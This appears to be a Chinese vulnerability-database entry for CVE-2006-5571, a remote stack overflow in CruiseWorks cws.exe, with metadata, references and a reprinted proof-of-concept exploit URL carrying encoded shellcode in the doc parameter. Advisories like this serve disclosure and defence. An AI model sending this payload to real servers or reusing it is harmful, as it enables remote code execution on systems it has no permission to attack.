Cruiseworks 'Cws.exe' Doc参数缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111371 漏洞类型 缓冲区溢出
发布时间 2006-10-24 更新时间 2006-11-02
CVE编号 CVE-2006-5571 CNNVD-ID CNNVD-200610-493
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/28850
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-493
|漏洞详情
CruiseWorks1.09c和1.09d的/scripts/cruise/cws.exe中存在栈缓冲区溢出漏洞,远程攻击者可以通过doc参数中的较长字符串执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/20699/info

Cruiseworks is prone to a remote buffer-overflow vulnerability. 

Specifically, the application fails to validate input passed to the 'doc' parameter of the '/scripts/cruise/cms.exe' application. 

Cruiseworks 1.09c and 1.09d are reported vulnerable; other versions may be affected as well.

http://www.example.com/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7C%3E%90%7C
|参考资料

来源:XF
名称:cruiseworks-scripts-bo(29763)
链接:http://xforce.iss.net/xforce/xfdb/29763
来源:BID
名称:20699
链接:http://www.securityfocus.com/bid/20699
来源:VUPEN
名称:ADV-2006-4158
链接:http://www.frsirt.com/english/advisories/2006/4158
来源:MISC
链接:http://vuln.sg/cruiseworks109d-en.html
来源:SECTRACK
名称:1017110
链接:http://securitytracker.com/alerts/2006/Oct/1017110.html
来源:SECUNIA
名称:22139
链接:http://secunia.com/advisories/22139
来源:BUGTRAQ
名称:20061024[vuln.sg]CruiseWorksDirectoryTraversalandBufferOverflowVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/449572/100/0/threaded
来源:FULLDISC
名称:20061024[vuln.sg]CruiseWorksDirectoryTraversalandBufferOverflowVulnerabilities
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=116167230400165&w=2
来源:SREASON
名称:1790
链接:http://securityreason.com/securityalert/1790